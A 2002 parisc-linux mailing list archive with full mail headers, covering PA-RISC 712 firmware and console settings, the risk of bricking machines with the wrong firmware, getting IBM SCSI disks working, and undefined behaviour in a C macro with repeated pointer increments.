List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16367

For 712's with the console path hacked to use the serial port, the 2.3
firmware provides an easy way to get the console back to graphics: hit
the [ESC]-key shortly after power-on.


On Mon, 2002-09-30 at 10:10, James Smith wrote:
> most of my 712's are ver 1.9 or 2.1 & they all work fine as far as i can
> see with linux - is there any advantage to updating to 2.3 ?
> 
> or is this a case of 'if its not broken....'




From - Thu Nov 08 21:24:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] firmware update using BOOTP
Date: Tue, 1 Oct 2002 23:00:22 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20021002050022.GB1454@dsl2.external.hp.com>
References: <1033419379.4785.33.camel@seventy> <Pine.GSO.4.31.0210010927510.12081-100000@eduserv.rug.ac.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621792 15047 80.91.229.3 (22 Nov 2014 02:03:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:12 +0000 (UTC)
Cc: James Smith <james@compusmithllc.com>,
	parisc-linux@lists.parisc-linux.org
To: Frank Cornelis <Frank.Cornelis@rug.ac.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  1 23:00:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id CF9FF4829; Tue,  1 Oct 2002 23:00:22 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.GSO.4.31.0210010927510.12081-100000@eduserv.rug.ac.be>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16368

On Tue, Oct 01, 2002 at 09:31:35AM +0200, Frank Cornelis wrote:
> I know, BOOTP booting also worked with me before the firmware patching.
> But anyway, upgrading never hurts and the HP/linux FAQ recommended it.

That's not true. Upgrades can fail. It's rare but it happens.
I wrote the FAQ entry and it also says:

| BEWARE: It's possible to kill a system by either upgrading the wrong
| firmware or the upgrade doesn't finish properly for any reason. Don't
| upgrade unless you have evidence of a PDC problem. Text files on the HP
| patch depot describe what was fixed in each revision since the machine
| model was released.

It's easy to download the wrong firmware to a machine.
My favorite example is installing 715/100 PDC on a 715/100XC (need a
"dagger" card and working 715/100XC to resurrect the dead 715/100XC).
I've done it and know of others who've done it. Sounds stupid but
it happens.

grant


From - Thu Nov 08 21:24:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan Trajkoff <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-HP disks?
Date: Wed, 02 Oct 2002 09:40:19 +0300
Lines: 32
Approved: news@gmane.org
Message-ID: <3D9A94D3.8010009@itp.bg>
References: <20021002034059.34434.qmail@web12505.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621792 15051 80.91.229.3 (22 Nov 2014 02:03:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  2 00:37:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 7674A4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Oct 2002 00:37:55 -0600 (MDT)
Original-Received: (qmail 18597 invoked from network); 2 Oct 2002 06:39:53 -0000
Original-Received: from softdnserror (HELO itp.bg) (212.72.204.2)
  by softdnserror with SMTP; 2 Oct 2002 06:39:53 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16369

Derek Engelhaupt wrote:

>Anyone using them?  I have a bunch of IBM DCHS-04F Ultrastar 2XP 4.3GB
>(got info from IBM's website about jumpers and tried them all) drives
>that I'm trying to get them to work but all they do is SCSI bus reset
>when Debian trys to load.  They are factory refurbed 50-pin SE disks
>and I have activated Autostart on them and active termination (tried it
>without too).  Anyway, they perform this way under HP-UX too.  Tried a
>2GB HP drive and it works fine so the system SCSI bus is fine.  So,
>bottom line is anyone using NON-HP disks in thier systems?  Tried them
>in my E55, 712/60, and 712/100.  Have tried 2 different drives with the
>same result also.....
>
>derek
>
>__________________________________________________
>Do you Yahoo!?
>New DSL Internet Access from SBC & Yahoo!
>http://sbc.yahoo.com
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>
>  
>
Hello, I am using Quantum 9GB HDD 7200 SCSI on my K210/819 without problems
it's using old SCSI cable 50pins.




From - Thu Nov 08 21:24:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-HP disks?
Date: Tue, 1 Oct 2002 23:52:05 -0700 (PDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <20021002065205.59362.qmail@web12507.mail.yahoo.com>
References: <20021002034059.34434.qmail@web12505.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621793 15055 80.91.229.3 (22 Nov 2014 02:03:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  2 00:52:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12507.mail.yahoo.com (web12507.mail.yahoo.com [216.136.173.199])
	by dsl2.external.hp.com (Postfix) with SMTP id 555AD4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Oct 2002 00:52:07 -0600 (MDT)
Original-Received: from [24.197.205.90] by web12507.mail.yahoo.com via HTTP; Tue, 01 Oct 2002 23:52:05 PDT
In-Reply-To: <20021002034059.34434.qmail@web12505.mail.yahoo.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16370

--- Derek Engelhaupt <derekengelhaupt@rocketmail.com> wrote:
> Anyone using them?  I have a bunch of IBM DCHS-04F Ultrastar 2XP
> 4.3GB
> (got info from IBM's website about jumpers and tried them all) drives
> that I'm trying to get them to work but all they do is SCSI bus reset
> when Debian trys to load.  They are factory refurbed 50-pin SE disks
> and I have activated Autostart on them and active termination (tried
> it
> without too).  Anyway, they perform this way under HP-UX too.  Tried
> a
> 2GB HP drive and it works fine so the system SCSI bus is fine.  So,
> bottom line is anyone using NON-HP disks in thier systems?  Tried
> them
> in my E55, 712/60, and 712/100.  Have tried 2 different drives with
> the
> same result also.....
> 
> derek
> 
> 

Well, after screwing with it for another hour I finally got it to work.
 Appearantly I had to enable some "option block" on the drive to get it
to work as well as the Term Pwr on the drive.  My HP is the proud new
owner of a bunch of 4.3GB drives.  Now if I can only get the 9Gigers to
work now.... ;) Thanks for all the responses.

derek

__________________________________________________
Do you Yahoo!?
New DSL Internet Access from SBC & Yahoo!
http://sbc.yahoo.com


From - Thu Nov 08 21:24:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] firmware update using BOOTP
Date: Tue, 1 Oct 2002 23:59:39 -0700 (PDT)
Lines: 45
Approved: news@gmane.org
Message-ID: <20021002065939.80022.qmail@web12506.mail.yahoo.com>
References: <20021002050022.GB1454@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621793 15061 80.91.229.3 (22 Nov 2014 02:03:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  2 00:59:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12506.mail.yahoo.com (web12506.mail.yahoo.com [216.136.173.198])
	by dsl2.external.hp.com (Postfix) with SMTP id 296354829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Oct 2002 00:59:42 -0600 (MDT)
Original-Received: from [24.197.205.90] by web12506.mail.yahoo.com via HTTP; Tue, 01 Oct 2002 23:59:39 PDT
In-Reply-To: <20021002050022.GB1454@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16371

--- Grant Grundler <grundler@dsl2.external.hp.com> wrote:
> On Tue, Oct 01, 2002 at 09:31:35AM +0200, Frank Cornelis wrote:
> > I know, BOOTP booting also worked with me before the firmware
> patching.
> > But anyway, upgrading never hurts and the HP/linux FAQ recommended
> it.
> 
> That's not true. Upgrades can fail. It's rare but it happens.
> I wrote the FAQ entry and it also says:
> 
> | BEWARE: It's possible to kill a system by either upgrading the
> wrong
> | firmware or the upgrade doesn't finish properly for any reason.
> Don't
> | upgrade unless you have evidence of a PDC problem. Text files on
> the HP
> | patch depot describe what was fixed in each revision since the
> machine
> | model was released.
> 
> It's easy to download the wrong firmware to a machine.
> My favorite example is installing 715/100 PDC on a 715/100XC (need a
> "dagger" card and working 715/100XC to resurrect the dead 715/100XC).
> I've done it and know of others who've done it. Sounds stupid but
> it happens.
> 
> grant


My C180 is actually using 6.3 (for the C200/240) firmware and not 6.1. 
All the official HP websites say 6.1 is the latest for the C180, but my
firmware cheat sheet that was sent to all of us hardware CE's says that
6.3 will work.  Haven't had any problems to date.  It also says that I
can't run more than 1.5GB of memory on my box, but I am.  I just loaded
the wrong firmware on a hard drive today....anyone want a paper weight?
 It's completely brain dead.  But Grant is right...doesn't take much to
kill a motherboard with a firmware update if it's not done properly.

derek

__________________________________________________
Do you Yahoo!?
New DSL Internet Access from SBC & Yahoo!
http://sbc.yahoo.com


From - Thu Nov 08 21:24:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: phi <phi@hpfrcu81.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc and ++
Date: Wed, 02 Oct 2002 09:30:03 +0200
Lines: 113
Approved: news@gmane.org
Message-ID: <3D9AA07A.4B994F44@hpfrcu81.france.hp.com>
References: <20021002034059.34434.qmail@web12505.mail.yahoo.com> <3D9A94D3.8010009@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621793 15064 80.91.229.3 (22 Nov 2014 02:03:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  2 01:28:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id D13674829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Oct 2002 01:28:42 -0600 (MDT)
Original-Received: from iws1pb05.france.hp.com (unknown [15.124.72.14])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 9F7B9339A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Oct 2002 09:28:38 +0200 (METDST)
Original-Received: from hpfrcu81.france.hp.com (localhost [127.0.0.1]) by iws1pb05.france.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 SMKit7.01) id JAA01250; Wed, 2 Oct 2002 09:30:03 +0200 (METDST)
X-Mailer: Mozilla 4.75 [en] (X11; U; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16372

Hi,

Working on an endian neutral file reader, I bumped into sometihng strange with
gcc.

basically I got to read a 32 unsigned int from a file that is mmap'ed, I have
a unsigned char * that is supposed to be at the unsigned int addr but possibly
unaligned.

I have a macro defined like this, then allowing the unsigned int getter from
file to expression.

#define get_4(p) ( ((uint32)(*p++)<<24)| \
                   ((uint32)(*p++)<<16)| \
                   ((uint32)(*p++)<<8 )| \
                   ((uint32)(*p++)) )

It assume the given p is
unsigned char *p;
then produce an uint32 expression.

Now using this macro on hpux/hpc linux/i386 linux/hppa gives 3 different
result with the linux/hppa particularly wrong IMHO. I wonder if this funny
could endup in kernel bugs?

==============================================================
Here is my test prog, get2_4 is a workaround attempt...

typedef unsigned char uint8;
typedef unsigned int  uint32;

#define get_4(p) ( ((uint32)(*p++)<<24)| \
                   ((uint32)(*p++)<<16)| \
                   ((uint32)(*p++)<<8 )| \
                   ((uint32)(*p++)) )

#define get2_4(p) ( p+=4, ((uint32)(p[-4])<<24)| \
                          ((uint32)(p[-3])<<16)| \
                          ((uint32)(p[-2])<<8 )| \
                          ((uint32)(p[-1])) )
main()
{ uint32 i;
  uint8 *p;
  p="abcd"; printf("p=%#x ",p);
  i=get_4(p);
  printf("i=%#x p=%#x\n",i,p);
  p="abcd"; printf("p=%#x ",p);
  i=get2_4(p);
  printf("i=%#x p=%#x\n",i,p);
}

==============================================================
Results:

HPUX/HPC:
---------
$ ./c
p=0x40001028 i=0x61626364 p=0x4000102c
p=0x40001048 i=0x61626364 p=0x4000104c

In both case i is loaded with the integer "abcd" (as expected I would say) and
after the expression p is bumped by 4 that is for sure expected.
Note the bad const re-use, hpc use 2 different "abcd" one at 0x40001028 the
other at 0x40001048 (but that's not a problem, +Osomething would eventually
get it right)

LINUX/i386:
---------- 
(red-hat 6.2 then very old compiler, may be someone can try on a very last
gcc?)

$ ./c
p=0x8048500 i=0x61616161 p=0x8048504
p=0x8048500 i=0x61626364 p=0x8048504

Here get_4(p) don't compute the expression corectly IMHO, but yet purist will
claim that KnR sez that side effect expression can't rely on order of
evaluation (bad practice programing), yet I wonder how the parse tree look
like here.
So i is semi wrong/right and p is bumped by 4 after the expression that is
expected.

get2_4(p), got i computed correctly and p bumped by 4, this is the workaround
I would use for the time being.

LINUX/hppa:
-----------
GNU C version 3.0.2 (Debian)
hpfrcw12:/tmp# ./c
p=0x10734 i=0x61616161 p=0x10735
p=0x10734 i=0x61626364 p=0x10738

Here get_4(p) is plain dead, i isn't computed correctly but as before one can
argue it is ok, but the pointer bump is completly wrong, there are 4 ++, and
no matter how we order the expression, p must be bumped by 4 it is bumped by
1!!!

So beside the scholastic discusion about when ++ should occur, I fear a bug in
the compiler that may have ramification in our kernel?

What do you think?

=============================================================================

Challenge.

If someone can come with a better definition for get_4(p) i.e can force the ++
at correct place, I would grab, right now I use get2_4() that seems to be
portable.

Cheers,
Phi


From - Thu Nov 08 21:24:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc and ++
Date: Wed, 2 Oct 2002 13:24:11 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20021002132411.Z18377@parcelfarce.linux.theplanet.co.uk>
References: <20021002034059.34434.qmail@web12505.mail.yahoo.com> <3D9A94D3.8010009@itp.bg> <3D9AA07A.4B994F44@hpfrcu81.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621794 15068 80.91.229.3 (22 Nov 2014 02:03:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: phi <phi@hpfrcu81.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  2 06:24:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E7D224829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Oct 2002 06:24:18 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17wiXz-0005p5-00; Wed, 02 Oct 2002 13:24:11 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3D9AA07A.4B994F44@hpfrcu81.france.hp.com>; from phi@hpfrcu81.france.hp.com on Wed, Oct 02, 2002 at 09:30:03AM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16373

On Wed, Oct 02, 2002 at 09:30:03AM +0200, phi wrote:
> #define get_4(p) ( ((uint32)(*p++)<<24)| \
>                    ((uint32)(*p++)<<16)| \
>                    ((uint32)(*p++)<<8 )| \
>                    ((uint32)(*p++)) )

Undefined behaviour.  `|' is not a sequence point and you modify p more than
once.  How would this look?

#define get_4(p)	p += 4, (((uint32)p[-4] << 24) | \
			 ((uint32)p[-3] << 16) | \
			 ((uint32)p[-2] <<  8) | \
			 ((unit32)p[-1]))

comma _is_ a sequence point, so this is well-defined.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: phi <phi@hpfrcu81.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc and ++
Date: Wed, 02 Oct 2002 15:01:32 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <3D9AEE2C.823AE9BD@hpfrcu81.france.hp.com>
References: <20021002034059.34434.qmail@web12505.mail.yahoo.com> <3D9A94D3.8010009@itp.bg> <3D9AA07A.4B994F44@hpfrcu81.france.hp.com> <20021002132411.Z18377@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621794 15070 80.91.229.3 (22 Nov 2014 02:03:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  2 07:00:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4F8604829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Oct 2002 07:00:17 -0600 (MDT)
Original-Received: from iws1pb05.france.hp.com (unknown [15.124.72.14])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP
	id ED24E35AC; Wed,  2 Oct 2002 15:00:10 +0200 (METDST)
Original-Received: from hpfrcu81.france.hp.com (localhost [127.0.0.1]) by iws1pb05.france.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 SMKit7.01) id PAA01546; Wed, 2 Oct 2002 15:01:32 +0200 (METDST)
X-Mailer: Mozilla 4.75 [en] (X11; U; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16374

Matthew Wilcox wrote:
> 
> 
> Undefined behaviour.  `|' is not a sequence point and you modify p more than
> once.  

Wouldn't be 'natural' to declare ++ a sequence point as well as comma is since
it has side effects, beside it would remove the sequence-point jazz in the
warning emits.

Right now the macro look like this for flawed/featured gcc.

#define get3_4(p) ({register uint32
t=(*p++)<<24;t+=(*p++)<<16,t+=(*p++)<<8,t+(*p++);})

Phi


From - Thu Nov 08 21:24:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc and ++
Date: Wed, 2 Oct 2002 14:22:20 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20021002142220.B18377@parcelfarce.linux.theplanet.co.uk>
References: <20021002034059.34434.qmail@web12505.mail.yahoo.com> <3D9A94D3.8010009@itp.bg> <3D9AA07A.4B994F44@hpfrcu81.france.hp.com> <20021002132411.Z18377@parcelfarce.linux.theplanet.co.uk> <3D9AEE2C.823AE9BD@hpfrcu81.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621794 15073 80.91.229.3 (22 Nov 2014 02:03:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:14 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: phi <phi@hpfrcu81.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  2 07:22:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D6A674829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Oct 2002 07:22:23 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17wjSG-0006kJ-00; Wed, 02 Oct 2002 14:22:20 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3D9AEE2C.823AE9BD@hpfrcu81.france.hp.com>; from phi@hpfrcu81.france.hp.com on Wed, Oct 02, 2002 at 03:01:32PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
